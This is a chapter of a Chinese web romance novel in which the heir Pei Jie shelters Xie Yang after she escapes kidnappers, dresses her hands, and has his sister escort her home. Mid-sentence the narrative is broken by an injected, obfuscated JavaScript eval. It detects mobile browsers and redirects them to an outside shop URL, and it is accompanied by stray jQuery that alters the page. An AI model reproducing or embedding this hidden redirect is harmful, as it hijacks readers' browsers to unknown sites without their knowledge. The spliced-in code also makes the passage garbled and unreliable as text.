18.生辰
作品:《论如何靠花钱当上世子妃》 那一刻,整个包厢内再次陷入死一般的寂静。
所有人都被谢泱的举动惊得呆住了,在场的各人都有自己的心思——
舞娘领队是觉着谢泱长得好,想让她多在贵人面前表现,但就这样直愣愣地扑到贵人怀里,未免有些……太直接了,要是再娇媚一点就好了,她如是想。
其他舞娘却是不禁暗暗嫉妒这个来替补琳儿的新人,听说那可是南安王府的世子殿下,就这样被她抱到了,说不定殿下就喜欢这样的呢,早知道她们也大胆一点了!
而正巧进来准备来提醒裴玠可以走了的墨影,看见有个大胆的小舞娘扑进自家主子的怀里,一边在心里默默给这个舞娘接下来的命运捏了把汗,一边又想着不能让永安侯府的谢姑娘知道了,要不然殿下在谢姑娘面前的形象就毁了!
这些人的心思谢泱不知道也不想知道,她只知道她现在完蛋了。
“下去。”裴玠声音的温度降到了冰点,他撇了一眼怀里将头埋在自己胸口的女人,如果这女人再不识相滚出去,那就不要怪他不怜香惜玉了。
“哈哈哈贤侄,既然这美人喜欢你,你不如收了去,免得伤了美人心啊。”对面那男人语气又变得轻浮起来,仿佛刚刚对谢泱的怒火只是错觉。
谢泱反应再快,此刻脑子也有些接不上话了。
“三——”
裴玠微微侧头,低声警告谢泱。
“二——”
谢泱脸皱在一起,整个人陷入了一种极度纠结的状态,她将头死死的埋在裴玠怀里,不想把自己的脸露出来。
这一刻,谢泱在想,到底是主动抬头被裴玠发现丢人,还是死不承认最终被裴玠扔出去更丢人。
其实都很丢人,但被扔出去会很痛。
谢泱觉得还是主动承认好了,说不定裴玠还会保自己一回,毕竟他俩现在可是合作关系。
于是谢泱将头抬起来一点点,低声对裴玠说:“裴玠,是我,谢泱。”
已经被耗的没耐心,正准备把怀中人扔下去的裴玠突然愣住,他低头,看向怀中的“舞娘”。
谢泱的一双狐狸眼冲着裴玠眨巴眨巴,一如初遇的那个夜晚,少女在他怀里被他禁锢,也是这样一双生动的眼睛看向他。
心忽然就有些乱了,裴玠方才抬起的、准备将谢泱拉下去的手,停滞在空中,一时间不知道该往哪放。
谢泱看裴玠这个反应,内心有些愧疚,自己这样实在是太唐突了。
她试着解释:“外头有人抓我,我误打误撞才到了这里,你能不能帮帮我。”
谢泱声音很低,几乎是在裴玠耳朵旁说的,这副模样放在旁人眼里,活脱脱就是谢泱这个“舞娘”在裴玠耳边喃喃细语勾引裴玠。
真是高手啊,这样还能面不改色心不跳地继续诱惑裴玠。
在场的众人如是想。
只可惜,这舞娘碰上的是裴玠,想来她的小心思要落空了。
众人又如是想。
可下一刻,裴玠滞空的手就突然抚上了谢泱的头,动作温柔,一下一下顺着谢泱的头发。
方才还冷冰冰、仿佛下一秒就要发火的世子殿下,此刻脸上的冰冷确全部消失不见,转而代之的是玩味与温柔。
他嘴角挂笑,低头看向怀里的人,用在场人都能听到的声音,对谢泱说:“‘湘儿’是吧?你就留下来陪我吧。”
此话一出,在场的人又是一阵沉默。
其他人只感叹这个叫湘儿的舞娘真是命好,只有门口的墨影内心山崩地裂。
自己跟着世子这么多年,别说是风尘女子,就连高门贵族的女子,主子也从来没表现过有什么特别的心绪,除了谢家的那位姑娘。
坐在裴玠怀里的谢泱也有些无措,她很感谢裴玠愿意帮她,但这样是不是有点过于夸张了。
谁曾想,裴玠的手又将谢泱的头按在自己的肩窝处,低声对谢泱说:“不想被发现就乖乖待着。”
谢泱心里有点怪怪的,但她归结于这个场面实在是太诡异了。
谢泱没看到的是,裴玠看她真的一动没动,嘴角的笑意越来越大。
“你们都下去吧。”裴玠让其余舞娘和乐师都下去。
接着又看向对面的九王,手却仍放在谢泱的头上,裴玠对九王说:“我喜欢这舞娘喜欢得紧,王爷可舍得割爱?”说完后又低头又看向怀中的谢泱,眼神深情得可以掐出水来,仿佛真的被迷住了。
九王深深的看了一眼裴玠和裴玠怀里的谢泱,确认裴玠的神情是认真的后,眼里又变成了醉态:“好好好,那我就不打扰你的好事了,反正事情都商议得差不多了,我也回去了。”
九王说罢,喝完杯中的最后一滴酒,负手带着手下离开了。
待闲杂人等都离开,房内便只剩了谢泱、裴玠和墨影三人。
谢泱这回是真的松了一口气,她轻轻地从裴玠怀里挣脱出来。
裴玠的怀里突然一空,愣了一会,最终将手收了回去。
墨影看清楚谢泱的脸后傻眼了:“谢……谢小姐?!怎么会是你?”
谢泱顺着他的话将事情解释清楚:“逛灯会的时候被人迷晕劫持了,后来我想办法逃了出来,误打误撞到了你这里。”
谢泱说的轻巧,但裴玠却是越听眉头皱的越深,他一下站起来:“可有受伤?”
谢泱被裴玠的反应吓一跳:“我没事……嘶——”谢泱还没说完,就被手上的刺痛痛得皱眉。
刚刚太紧张了以至于手上的伤被她完全忽略了,现在乍然放松下来,痛感一下就变得明显起来。
她看向自己的手,发现是用竹篾割绳子时划伤的,好几道伤口陈列在谢泱一双手的手背上,过得有些久了,伤口上的血都凝固了。
裴玠也注意到了她的伤,想要抬起谢泱的手来看,裴玠的手都轻轻地伸向谢泱的手,可在要触碰的瞬间又收回去了,他转头吩咐墨影:“去拿药来。”
“是。”
墨影很快就拿了个药箱进来,裴玠接过药箱,又引着谢泱坐下,这回裴玠倒是没再避讳,拿出药,拉着谢泱手上的手上药。
谢泱看着眼前的垂头认真给她上药的裴玠,男人又长又直的睫毛在他脸上投下一片好看的阴影,自己受伤的手仿佛是一件蒙尘的绝世珍宝,被眼前人仔细擦拭。
谢泱一下子就想到了那句诗——陌上人如玉,公子世无双。
谢泱盯着裴玠盯得有些出神了,直到裴玠将她的手上了药包扎好,她才回过神来。
“想什么呢,这般出神?”裴玠轻声问她。
谢泱一时间不知道说什么:“没事,在想刚才的事情罢了。”
“你知道是谁做的吗,需要我帮你吗?”
“大概能确定是谁做的,不过我自己能解决,刚才多谢你。”谢泱婉拒了裴玠的帮忙,她不想过于麻烦他,再者说,这件事九成九是她的家务事,裴玠也不便插手。
裴玠见她这样,也没再多说,又看她身上的这身舞裙,问她:“你就打算穿这身衣服回去吗?”
裴玠一提醒,谢泱才想起来自己还穿着翠微馆的衣服,不禁有些尴尬:“我的衣服落在四楼了,待会儿我自己去找找。”
裴玠看着她,觉得不妥,但自己一名男子,若是贸然将谢泱送回去,少不得会损了她的清誉?
裴玠想了一会儿,吩咐墨影:“去吧郡主叫过来,叫她带一身她的衣服过来。”
墨影领命去了。
“我妹妹裴易水今晚也来逛灯会了,她身量和你差不多,你换上她的衣服,再由她送你回去。”
裴玠的做法是相当贴心了,贴心到谢泱没有理由拒绝,只能在心里将这个人情记上,等着来日再还。
没过多久,墨影就带着永嘉郡主裴易水上来了。
“人呢人呢,快让我见见!”
谢泱还没见到人,就听到门外穿来一道俏皮的女声。
紧接着门就被推开了,谢泱见一个与她差不多年纪的俏丽少女进来,裴易水着一身黛蓝衣裙,头上并无过多首饰,面容与裴玠并不太相似,但都是线条锐利,显得整个人英姿飒爽。
“你便是永安侯府的谢姑娘吧,长得这般好看,难怪我兄长……”
“易水。”裴玠平静得打断了妹妹的话。
裴易水看着兄长的反应,脸上尽是调侃的笑,但还是麻利的把自己带来的衣服递给了谢泱。
裴玠见状,便带着墨影出去了,关门前还不忘和谢泱说:“我就在外面,有事叫我。”
裴易水却将裴玠推了出去:“快走吧,有我在这,能出什么事?”
门扉合上,屋内便只剩了谢泱与裴易水二人。
裴易水也不急着让谢泱换衣服,反倒是围着谢泱转了一圈,上上下下打量了她一番,那眼神直白又坦荡,看得谢泱都有些不好意思了。
“早就听闻永安侯府的谢姑娘生得一副好相貌,今日一见,倒觉得那些传言都说浅了。”裴易水抱着手臂,语气里带着几分真心实意的赞叹,“我兄长那人眼高于顶,寻常女子根本入不得他的眼,能让他这般上心的,谢姑娘你是头一个。”
谢泱闻言一怔,连忙解释:“郡主误会了,我与世子殿下只是……”
“只是什么?”裴易水眨眨眼,笑得促狭,“只是他恰好把你按在怀里?只是他恰好给你上药?只是他恰好大半夜的让我送衣服过来?”
谢泱被她问得语塞,脸上不受控制地浮起一层薄红。
裴易水见状,笑得愈发开怀,摆摆手道:“好啦好啦,我不逗你了。你快换衣裳吧,我替你守着。”说着便转过身去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197446|196167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,背对着谢泱,却又忍不住添了一句,“不过我可提醒你,我兄长那人,从小到大还没对哪个女子这般用心过呢。”
谢泱没接话,只是低头解开身上那件舞裙的系带。
这件舞裙薄如蝉翼,料子轻飘飘的,穿在身上像是笼了一层烟霞,美则美矣,却实在不是良家女子该穿的衣裳。她三两下褪下舞裙,接过裴易水递来的那身黛蓝衣裙,入手便知料子上乘,针脚细密,是郡主娘娘的体己衣裳。
“多谢郡主。”谢泱一边穿衣一边道谢。
“谢什么,一套衣裳而已。”裴易水仍是背对着她,语气随意,“说来也是巧,我这身衣裳原是备着今夜逛灯会时换的,谁知灯会没逛成,倒是派上了这个用场。”
谢泱系好腰带,又将散乱的头发重新绾了个简单的髻,这才出声道:“郡主,我好了。”
裴易水转过身来,上下打量一番,满意地点点头:“不错,这颜色衬你。”顿了顿,又凑近了些,压低声音问,“方才你说被人迷晕劫持了,是怎么回事?可抓到人了?要不要我帮你出头?”
谢泱心头一暖,这位永嘉郡主倒是热心肠。她摇摇头,温声道:“多谢郡主好意,只是此事牵扯到家中一些事,我想自己处理。”
裴易水看了她一眼,似乎明白了什么,也不多问,只点点头道:“成,你有数就行。不过若是需要帮忙,尽管来找我。我虽不如我兄长那般有本事,但在凤阳这一亩三分地上,还是能说得上几句话的。”
谢泱笑着应下。
两人推门出去,裴玠果然还等在门外,负手而立,不知在想些什么。听见动静,他转过身来,目光落在谢泱身上——那身黛蓝衣裙穿在她身上刚刚好,衬得她肤色白皙,眉眼愈发温婉。
他眸光微动,随即移开视线,淡淡道:“走吧,我送你们回府。”
“你送?”裴易水挑眉,“哥,你可是男子,这大半夜的送谢姑娘回去,传出去……”
“所以我送你。”裴玠打断她,语气平静无波,“你送谢姑娘回府,我在暗中跟着。”
谢泱闻言,心头微动。
他这是……怕路上再出什么意外?
裴易水也反应过来了,意味深长地“哦”了一声,拖长了尾音道:“原来如此——那走吧走吧,谢姑娘,咱们坐我的马车回去。”
谢泱看了裴玠一眼,他也正看着她,四目相对,谢泱先移开了目光,轻声道:“多谢世子殿下。”
“不必。”裴玠的声音很低,像是怕惊着什么似的,“去吧。”
马车辚辚而行,碾过青石板路,在寂静的夜色中格外清晰。
裴易水坐在谢泱对面,一路上叽叽喳喳说个不停,从灯会的花灯说到京城各家的八卦,又从各家的八卦说到她兄长小时候的糗事。谢泱起初只是礼貌性地应和,后来却真的被她逗笑了几次。
“不过今日,我兄长如此待你,但是让我开了眼了。”裴易水笑着看向谢泱。
谢泱被她看得不自在,垂眸道:“世子殿下帮了我,我心中感激。”
“感激?”裴易水凑近了些,压低声音道,“谢姑娘,你跟我说实话,你对我兄长,当真只是感激?”
谢泱心头一跳,面上却不动声色:“郡主说笑了,我与世子殿下不过数面之缘,谈何其他?”
裴易水盯着她看了片刻,忽然笑了:“行吧,你不说我也就不问了。不过我可告诉你,我兄长那人,若是动了心思,是绝不会轻易放手的。”
谢泱没接话,只是转头看向车窗外。
夜色沉沉,街巷寂静,偶尔有几盏灯笼从车窗外掠过,昏黄的光影在她脸上明明灭灭。
裴玠……会吗?
她不知道。
她只知道,今夜他在她最狼狈的时候伸出了手,将她护在怀里,替她上药,又安排得这般妥帖周全。这份情谊,她记在心里了。
至于其他……且看吧。
马车在永安侯府门前停下。
谢泱下车时,目光不动声色地扫了一眼四周——夜色深沉,巷口空无一人。
但她知道,他一定在某个暗处看着这边。
“多谢郡主相送。”谢泱敛衽行礼。
“客气什么。”裴易水摆摆手,又道,“对了,你手上的伤记得换药,我那药箱里的药都是我兄长特意备的,顶好的。”
谢泱低头看了一眼自己包扎好的手,轻轻“嗯”了一声。
裴易水也不多留,挥挥手便上了马车。车帘放下的一瞬,谢泱隐约看见车内多了一个人影——是裴玠。
他没露面,只是隔着车帘看了她一眼。
那一眼很短,短到谢泱甚至来不及确认是不是自己的错觉。
马车辚辚远去,谢泱站在原地,目送那辆车消失在夜色中,这才转身。

